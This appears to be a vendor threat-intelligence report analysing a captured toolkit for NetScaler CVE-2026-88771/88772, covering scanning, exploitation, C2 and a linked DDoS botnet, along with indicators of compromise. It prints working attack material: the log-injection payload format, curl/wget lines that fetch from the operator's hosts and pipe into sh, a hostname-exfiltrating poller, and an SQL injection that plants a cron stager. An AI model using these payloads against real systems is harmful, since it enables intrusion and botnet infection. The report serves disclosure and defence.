
Introduction
In September 2026, Citrix disclosed two critical vulnerabilities: CVE-2026-88771 and CVE-2026-88772 in NetScaler ADC and Gateway. Both carry a 9.5 CVSS score and affect default configurations. Approximately 50,000 internet-exposed NetScaler instances were reachable at the time of disclosure.
Forbidden Jutsu: Deconstructing the Exploit Mechanics
CVE-2026-88771: Pre-Authentication Log Poisoning
The recovered exploit.py documents the vulnerable chain in its docstring (translated from Chinese):
grep(pitboss.*PPE.*unexpectedly died)
→ sed (take content after the last NSPPE, strip parentheses)
→ awk ($1-$2)
→ interpolate into: find /var/core -name ${TOKEN}* -print | tail -1Payload Structure
The docstring states that after the shell splits on ;, the injected <CMD> executes as root.
Documented in exploit.py:
pitboss NSPPE-00;<CMD>;# unexpectedly died └─── 16B ────────┘ └─── 19B ────┘
| Constraint | Value |
|---|---|
| Username max length | 128 bytes |
| Prefix | pitboss NSPPE-00; (16 bytes) |
| Suffix | ;# unexpectedly died (19 bytes) |
| Forbidden characters in <CMD> | (, ), space, ?, & |
| Space substitute | ${IFS} |
| Effective command budget | 93 bytes |
CVE-2026-88772: DTLS Handshake Fragment Overflow

151.243.11.242:8090 summarizes it as:
"CVE-2026-88772 — Memory overflow on DTLS (UDP TLS) handling can lead to remote code execution or denial of service. Exploitation requires DTLS to be enabled; on Gateway, DTLS is on by default for VPN virtual servers unless an administrator set -dtls OFF. DTLS-type vServers are also in scope."
Affected Versions

Reproduced from probe.py's affected-version logic:
| Branch | Patched At | Vulnerable Below |
|---|---|---|
| 14.1 | 14.1–73.37 | < 14.1–73.37 |
| 13.1 | 13.1–64.23 | < 13.1–64.23 |
| 13.1 FIPS/NDcPP | 13.1–37.279 | < 13.1–37.279 |
操作台-Operations console at 66.154.127.156
Akatsuki Legion found an open directory at 66.154.127.156 containing files targeting the Netscaler CVEs.

Directory Layout
hack/
netscaler/
scripts/
c2_server.py
channels.py
exploit.py
pollctl.py
probe.py
run.sh
screen.py
targets.py
verprobe.py
fbpx/
reinject2.py
self-exclude.txt
BOT_V2_PROMPT.md
BOT_V2_DEV_DOC.md
BOT_UPGRADE_RUNBOOK.mdThe self-exclude.txt File

# 自有基础设施 —— 必须排除,否则扫描器会打到自己(自我上机) 45.143.130.195/32 # 本攻击机(VPS) 23.95.228.20/32 # C2 / 载荷分发端 2.27.132.175/32 # 本机分发端 66.154.127.156/32 # 操作台 107.173.248.139/32 # fofoapi 备用接口
Translated:
| IP | Annotation | Meaning |
|---|---|---|
| 45.143.130.195/32 | 本攻击机(VPS) | "This attack machine (VPS)" |
| 23.95.228.20/32 | C2 / 载荷分发端 | "C2 / payload distribution endpoint" |
| 2.27.132.175/32 | 本机分发端 | "Local distribution endpoint" |
| 66.154.127.156/32 | 操作台 | "Operations console" |
| 107.173.248.139/32 | fofoapi 备用接口 | "FOFA API backup interface" |
Header comment: "Own infrastructure — must be excluded, otherwise the scanner will hit itself (self-pwn)."
The file exists so the operator's mass scanner skips their own hosts. The operator recorded in their own words, which IPs they own and what each one does. Two of the five entries are the same IPs we found later on, which confirms the file and the toolkit belong to the same operation:
Two entries match constants in the recovered code:
| IP | Reference in code |
|---|---|
| 45.143.130.195 | c2_server.py: PUB_IP = "45.143.130.195"; reinject2.py: BEACON = "http://45.143.130.195/beacon" |
| 23.95.228.20 | BOT_V2_DEV_DOC.md: 设备IP:随机高位端口 -> 23.95.228.20:1337; reinject2.py: STAGER = "http://23.95.228.20/dl.sh" |
The Execution Grid: Anatomy of a Multi-Stage Pipeline
Stage 1: Target Acquisition (targets.py, run.sh)
run.sh hardcodes:
VPS=45.143.130.195 FOFA_KEY= <redacted> C2_PORT=8899 ROUND_SLEEP=1800 WATCH_SLEEP=1800 TMUX_SESSION=nsc2

targets.py queries FOFA and filters against a cached AWS CIDR list. run.sh's watch window refreshes the AWS CIDR list each cycle.
Stage 2: Fingerprinting (probe.py, verprobe.py)
probe.py identifies NetScaler and Citrix ADC appliances, extracts the running build version from /vpn/index.html and from response headers, and evaluates each host against the CVE-2026-88771 affected-version table. Results are appended to out/probed.jsonl. The script uses requests for HTTP, a ThreadPoolExecutor for concurrency, and regular expressions for fingerprint matching and version extraction.
probe.py ID_SIGNS list:

x-citrix-application, citrix gateway, netscaler gateway, netscaler aaa, ns_gateway, nsg-x1-logon, citrix adc, netscaler adc, logonpoint, /nf/auth/doauthentication.do, epa/epa.html, gateway_login_view
Version regex from probe.py:
(1[34]\.\d+[\s\-–]+[\d.]+(?:\.\d+)?)
Extraction paths: /vpn/index.html, /logon/LogonPoint/index.html, /nf/auth/doAuthentication.do
verprobe.py PATHS includes:

/vpn/js/gateway_login_view.js /nitro/v1/config/nsversion /vpn/pluginlist.xml /vpn/../vpns/portal/scripts/newbm.pl /epa/epa.html /logon/themes/Default/strings.en.json
Stage 3: Injectability Screening (screen.py, channels.py)

screen.py filters on:
/nf/auth/doAuthentication.do /nf/auth/getAuthenticationRequirements.do
screen.py LEAK_PATHS:
/vpn/../vpns/cfg/smb.conf /vpns/cfg/smb.conf /nitro/v1/config/nsversion /logon/themes/Default/strings.en.json /vpn/pluginlist.xml
channels.py uses this probe (PROBE_USER):
"pitboss NSPPE-00;id;# unexpectedly died"
A reachability probe that injects the log-poisoning grammar with the benign command id, not an exploit. If the callback returns, the injection surface is confirmed live.
Stage 4: Exploitation
Entry lists as defined in the script:
JSON_ENTRIES:
nitro_login /nitro/v1/config/login
nitro_action /nitro/v1/config/login?action=login
FORM_ENTRIES:
aaa_doauth /nf/auth/doAuthentication.do
aaa_reqs /nf/auth/getAuthenticationRequirements.do
vpn_form /vpn/index.html
logon_form /logon/LogonPoint/index.html
cgi_login /cgi/login
pu_doauth /p/u/doAuthentication.do
UA_ENTRIES:
ua_vpn /vpn/index.html
ua_nitro /nitro/v1/config/login
ua_root /Form entries are tried with three field combinations per path (defined inline in inject_target).
Payload modes:
| Mode | Function in exploit.py | Payload |
|---|---|---|
| agent | cmd_agent | curl${IFS}-sk${IFS}<vps>:<port>/s/<bid>|sh |
| http | cmd_http | curl${IFS}-sk${IFS}<vps>:<port>/p/<bid> |
| wget | cmd_wget | wget${IFS}-qO-${IFS}http://<vps>:<port>/p/<bid> |
| dns | cmd_dns | nslookup${IFS}<bid>.p1.oob.<vps> |
| touch | cmd_touch | curl${IFS}-sk${IFS}<vps>:<port>/t/<bid> |
bid derivation (short_id):
hashlib.md5(f"{ip}:{port}".encode()).hexdigest()[:8]Default mode (`all`): `[("agent", ...), ("dns", ...)]`.
Output files: `exploitation.jsonl`, `id_map.jsonl`.
Stage 5: C2 (c2_server.py)
Configuration:
HTTP_PORT = int(os.environ.get("C2_PORT", "8899"))
DNS_PORT = int(os.environ.get("DNS_PORT", "53"))
ONLINE_WINDOW = int(os.environ.get("ONLINE_WINDOW", "1800"))
PUB_IP = os.environ.get("C2_PUB", "45.143.130.195")The C2 reads its HTTP port (8899), DNS port (53), and public IP (45.143.130.195) from environment variables, falling back to those values if unset. It also defines a 1800-second online window, meaning a bot is considered online if it has checked in within the last 30 minutes.
HTTP server:
server_version = "nginx" sys_version = ""
The C2's HTTP server reports itself as nginx by setting the server version string and blanking Python's default version disclosure.
Endpoints (from H._handle):
_handle is the C2's HTTP request router. It parses each incoming request, records the client IP and port, and dispatches by URL path. Paths prefixed /p/, /c/, and /r/ handle bot registration, command polling, and result submission respectively, while /s/ and /a/ serve the bootstrap and persistent agent scripts. The /panel and /api* paths serve the operator's dashboard and tasking API, allowing commands to be queued and results retrieved. Any unrecognized path is logged and answered with a 404, since unknown requests may still originate from injected payloads such as DNS or shell probes.
| Path | Purpose |
|---|---|
| /p/<bid> | Registration; fields h, v, u (hex-encoded) |
| /c/<bid> | Command poll; response body is the next command |
| /r/<bid> | Result submission; d param hex-encoded |
| /s/<bid> | Bootstrap shell |
| /a/<bid> | Persistent agent |
| /panel, / | HTML dashboard |
| /api, /api/bots, /api/cmd, /api/raw | Operator API |
Stage 6: Operator Console(pollctl.py)
| Flag | Action |
|---|---|
| --report | List online bots; writes out/online_bots.jsonl |
| --enqueue-poller | Push secondary poller to online bots |
| --run <bid> <cmd> | Task bot, wait for result |
| --shell <bid> | Interactive session with sequence tracking |
| --exec-all <cmd> | Broadcast |
-enqueue-poller payload:
curl -sk http://<vps>:<port>/c/<bid>?h=$(hostname|od -An -tx1|tr -d ' \n') | sh
Stage 7: Orchestration(run.sh)
tmux session nsc2 with three windows:
| Window | Purpose |
|---|---|
| c2 | python3 -u c2_server.py |
| pipe | Loop: targets.py → probe.py → exploit.py → pollctl.py --report; 1800s sleep |
| watch | Loop: pollctl.py --report + AWS CIDR refresh; 1800s sleep |
The Second Seal: Inside the fbpx Module & SQL Injection
A second exploitation module in hack/fbpx/BEACON = "http://45.143.130.195/beacon"
STAGER = "http://23.95.228.20/dl.sh"s.get(url.rstrip("/") + "/admin/ajax.php", verify=False, timeout=timeout,
params={"module": MODPATH, "command": "model", "template": "x",
"model": "model", "brand": sql},
headers={"Referer": url.rstrip("/") + "/admin/config.php"},
allow_redirects=False)sql = ("x' ;INSERT INTO cron_jobs "
"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
f"VALUES ('sysadmin', '{job}', 0x{hexp}, NULL, '* * * * *', 30, 1, 1) -- ")tag = hashlib.md5(url.encode()).hexdigest()[:6]
shell = STAGER_R2.format(beacon=BEACON, url=STAGER, tag=tag)
final = "echo '%s' | base64 -d | sh" % base64.b64encode(shell.encode()).decode()
hexp = final.encode().hex()The stager normalizes PATH, moves into a writable directory (/tmp, /var/tmp, /dev/shm, or the current directory), and builds a host identifier from hostname, uid, and architecture. It then beacons s1 to the C2 and downloads the botnet loader from 23.95.228.20/dl.sh using whichever of wget, curl, busybox wget, python3, or php is available. If the file downloaded successfully it beacons s2ok, executes it, beacons s3, then reports a live-status count of wife-related processes and files; if download failed it beacons s2fail, and in all cases it deletes the downloaded file.
Callback Path shape
$BEACON/R2/{tag}/$N/s1
$BEACON/R2/{tag}/$N/s2ok (or s2fail)
$BEACON/R2/{tag}/$N/s3
$BEACON/R2/{tag}/$N/live/$RThe Summoning Jutsu: Unleashing the DDoS Botnet Payload
reinject2.py's STAGER constant points at http://23.95.228.20/dl.sh. The botnet documents recovered from the same console name the same host as the botnet C2.| Attribute | Value |
|---|---|
| C2 | 23.95.228.20:1337 |
| Domain | bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa |
| Process real exe | /var/tmp/w (deleted state at runtime) |
| Process masquerade | init, kworker (prctl(PR_SET_NAME) + argv[0] overwrite) |
| Parent chain | PPID=1; children fork-chained; shared C2 socket fd |
| RSS | ~420 KB |
| Disk copy | /usr/bin/ksoftirqd (77,048 bytes, UPX, 32-bit i386 static) |
Transmission is bare TCP on port 1337; commands are XOR-encrypted via hardened_xor_decrypt().
Attack commands:
!udp !tcp !std !dns_amp !esp !tcp_ack !tcp_stomp !udp_hex !http !slowloris !ntp_amp !ssdp_amp !snmp_amp !icmp_echo !gre_flood !vse_query !memcached !udp_frag !syn_flood
Control command: KICK → kill(getpid(), SIGKILL)
Persistence Points:
| # | Location |
|---|---|
| 1 | root crontab */2 * * * * |
| 2 | /etc/cron.d/kworker |
| 3 | /etc/cron.hourly/kworker |
| 4 | /etc/systemd/system/kworker.service + multi-user.target.wants/ |
| 5 | /etc/init.d/kworker + rc2.d/rc3.d/rc5.d/S99kworker |
| 6 | /etc/profile |
| 7 | /etc/bash.bashrc |
| 8 | /etc/profile.d/kworker.sh |
| 9 | /etc/ssh/sshrc |
| 10 | /etc/network/if-up.d/kworker |
| 11 | /etc/update-motd.d/kworker |
| 12 | /root/.bashrc |
| 13 | /root/.profile |From BOT_V2_DEV_DOC.md:
"用 execl 而非 system() … 保持'即使 C2 沦陷也只能被用来打 DDoS'的安全边界" — use execl, not system(), to maintain the boundary that even if the C2 is seized it can only be used for DDoS.
dl.sh behavior: iterate 9 directories → test executable bit → iterate 19 architectures downloading wife.<arch> → execute → on success rm -f "$0".
Adjacent Tooling, Independent Hosts we found
"CVE-2026-88772"
"cve": "CVE-2026-88771;CVE-2026-88772;cve-2026-88772"
"desc": "CVE-2026-88772 PoC: Citrix NetScaler ADC/Gateway DTLS memory overflow
(RCE/DoS, CVSS 9.5). Fingerprints Gateway, build v"
"cls": "rce"
"beacon": "yes"
"readme_len": 2795| CVE | Target | Class | Beacon-Rel | Proven State |
|---|---|---|---|---|
| CVE-2026-85520 | PrestaShop gmfeed | rce | yes | untested |
| CVE-2026-85984 | miniOrange OTP Login | auth-bypass | yes | beacon-proven |
| CVE-2026-88771 / 88772 | Citrix NetScaler DTLS | rce | yes | untested |
This shows that attackers are using Markdown summary of CVEs, PoC indicators, beaconing analysis, offensive strings and internal inventory references to train their agent.
46.161.27.107 → Iterated Exploit Toolkit
cve_2026_88771_idempotent.py — docstring: "CVE-2026-88771 - NetScaler Pre-Auth Log Injection / Idempotent payload v2 (grep-based, ~240 bytes)"
trigger_88771_logshell.py — docstring: "Trigger-only PoC for CVE-2026-88771 — pre-auth log-to-shell command injection in NetScaler ADC/Gateway. Fixed in 14.1-73.37 / 13.1-64.23."
103.27.109.40 → Reverse Shell Collector
c2_listener.py: "C2 反弹 shell 自动收集器 — NetScaler CVE-2026-88771 / 监听 4444,收到反弹 shell 后自动执行预设只读收集命令并落日志,保持连接。" C2 reverse shell auto-collector — NetScaler CVE-2026-88771 / listens on 4444, and upon receiving a reverse shell, automatically executes a preset set of read-only collection commands, logs the output, and keeps the connection open.
The Sensing Sphere: Global Decoy & Telemetry Traps
GET /vpn/index.html HTTP/1.1 Accept-Encoding: identity Host: [redacted]:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120 Safari/537.36 Accept: */* Connection: close
182.240.100.176 130.12.182.7 82.167.14.7 81.94.239.8 66.42.100.63 69.48.229.88 172.247.44.85 23.234.74.48 64.94.85.67 130.94.106.141 137.220.53.135 176.65.148.54 152.32.128.214 45.249.247.109 126.51.141.56 49.36.183.130 45.154.244.156 193.187.110.153 46.29.26.160

IOC Summary
Operator Infrastructure| Type | Value | Source |
|---|---|---|
| IPv4 | 45.143.130[.]195 | self-exclude.txt; c2_server.py PUB_IP; reinject2.py BEACON |
| IPv4 | 23.95.228[.]20 | self-exclude.txt; BOT_V2_DEV_DOC.md; reinject2.py STAGER |
| IPv4 | 2.27.132[.]175 | self-exclude.txt |
| IPv4 | 66.154.127[.]156 | self-exclude.txt; host of captured files |
| IPv4 | 107.173.248[.]139 | self-exclude.txt |
| Domain | bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6[.]arpa | BOT_V2_DEV_DOC.md |
Conclusion
NetScaler CVE-2026-88771 offered pre-authentication root execution on internet-facing appliances that typically sit outside endpoint detection, which made them attractive targets for automated mass exploitation. The captured toolkit shows an operator who built a full pipeline around this: FOFA-driven discovery, version-aware filtering, multi-endpoint injection, and a persistent shell agent dropped at /tmp/.nsagent. The same operator maintains a Linux DDoS botnet, and the fbpx module provides a confirmed delivery path into it. The aftermath is that any NetScaler exposed during the window from disclosure to patch should be treated as fully compromised, since the shell agent grants arbitrary command execution and leaves minimal disk artifacts. Patching removes the entry point but not the implant, and the operator's documented botnet upgrade path indicates this capability is being maintained long-term.Need help hunting this activity in your environment?
Engage Akatsuki